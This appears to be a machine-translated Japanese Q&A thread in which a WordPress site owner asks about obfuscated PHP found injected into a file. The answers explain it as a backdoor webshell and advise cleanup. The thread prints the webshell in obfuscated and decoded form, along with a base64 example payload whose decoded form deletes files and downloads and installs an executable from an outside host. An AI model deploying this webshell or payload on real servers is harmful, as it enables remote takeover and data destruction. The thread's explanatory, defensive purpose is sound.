私のサイトはWordpressを使用して構築されています。ある日、動作が停止し、1つのPHPファイルにエラーが見つかりました。
そのPHPファイルをダウンロードして何が起こったのかを確認したところ、ウイルス対策(Microsoft Security Essentials)がそれを脅威として検出し、ダウンロードしたファイルを削除しました。
幸い、ホスティングのcPanelにアクセスして、問題のあるPHPファイルをそこから編集できます。
異常なコードがコードの先頭に追加されていることがわかりました。 (私はコードを削除し、今のところすべてが正常に動作しています)
これがコードです:
<?php $lro89 = "t_cepodas6b4";$gmat6 =strtolower( $lro89[10]. $lro89[7]. $lro89[8]. $lro89[3] . $lro89[9].$lro89[11].$lro89[1] . $lro89[6].$lro89[3]. $lro89[2].$lro89[5].$lro89[6].$lro89[3]);$scs1 =strtoupper ( $lro89[1]. $lro89[4]. $lro89[5].$lro89[8]. $lro89[0]); if (isset (${$scs1 }[ 'n3d9ebc' ])) {eval($gmat6( ${ $scs1} ['n3d9ebc' ])) ;}?>
読みやすくするために再フォーマット:
<?php
$lro89 = "t_cepodas6b4";
$gmat6 =strtolower( $lro89[10]. $lro89[7]. $lro89[8]. $lro89[3] . $lro89[9].$lro89[11].$lro89[1] . $lro89[6].$lro89[3]. $lro89[2].$lro89[5].$lro89[6].$lro89[3]);
$scs1 =strtoupper ( $lro89[1]. $lro89[4]. $lro89[5].$lro89[8]. $lro89[0]);
if (isset (${$scs1 }[ 'n3d9ebc' ])) {
eval($gmat6( ${ $scs1} ['n3d9ebc' ])) ;
}
?>
私はいくつか質問があります:
コードは何をしますか?
<?php
if (isset($_POST['n3d9ebc'])) {
eval(base64_decode($_POST['n3d9ebc']));
}
?>
リモートでコードが実行されます。これが$_GET[]
パラメータは、攻撃者がこれを行う可能性があることを意味します。
hxxp://yoursite.com/hax.php?n3d9ebc=base64-encoded-malicious-php-code
しかし、それは$_POST[]
パラメータ。送信の一部として送信されます。 POSTパラメータ、n3d9ebc
が設定されている場合、base64でデコードされた後、条件を評価しようとします。
ペイロードの例:
c2hlbGxfZXhlYygicm0gLXJmIH4vaGlsbGFyeS1lbWFpbHM7IHdnZXQgaHR0cHM6Ly93d3cucHV0aW4ucnUvZmFuY3ktYmVhci5leGUgLU8gYXB0MjguZXhlICYmIHN1ZG8gbXYgYXB0MjguZXhlIC91c3Ivc2JpbjsgZWNobyBTSFVUIFVQIFRISVMgSVMgQSBKT0tFIik7
上記は... um ... figure it out です。
サイトに投稿するだけで、Webサーバー上で完全なリモートコード実行が可能になります。あなたは本質的に捕らえられてきました。クリーンアップの時間です。脆弱なコンポーネントを確実にアップグレードしてください。
ウイルスがあるということですか?
技術的に?彼らはあなたのウェブサイトで好きなことをすることができます。基本的にはバックドアです。
この1つのファイルだけにどのように注入できますか?
おそらく、Webサーバー上のファイルへの書き込みを可能にする脆弱性があります。問題はいくつもあります。広義の種類ですが、chmod 777
、リモートファイルインクルージョンの問題、またはその他のリモートコード実行のバックドアまたは脆弱性。
あなたのWordpressが侵害されました。
コードは何をしますか?
やや難読化された最小限のWebシェルです。 POSTパラメータn3d9ebc
、base64はそれをデコードし、結果をPHP codeとして実行します。これは、攻撃者がスクリプトを使用していつでもサーバー上で任意のコードを実行できることを意味します。
それがクリーンアップされたコードです:
<?php
if (isset($_POST['n3d9ebc'])) {
eval(base64_decode($_POST['n3d9ebc']));
}
?>
変数名は、スクリプトを読みにくくし、自動検出を防ぐために難読化されました。 base64変換は、IDSを防ぐためのもう1つの手段です。 POSTパラメータであるため、攻撃者のコマンドはサーバーのログファイルにも表示されません。
ウイルスがあるということですか?
これは、誰かがあなたのWordpress(おそらく脆弱なプラグインを介して)への書き込みアクセス権を取得し、このスクリプトをバックドアとしてアップロードしたことを意味します。
この1つのファイルだけにどのように注入できますか?
まあ、どこかに置く必要があります。新しいファイルを作成するよりも目立たないため、攻撃者はしばしば既存のファイルに悪意のあるコードを追加することを決定します。
(私はコードを削除し、今のところすべてが正常に動作しています)
バックドアがなくなったことを確認できますか?妥協した場合、続行する最善の方法は新規インストールです。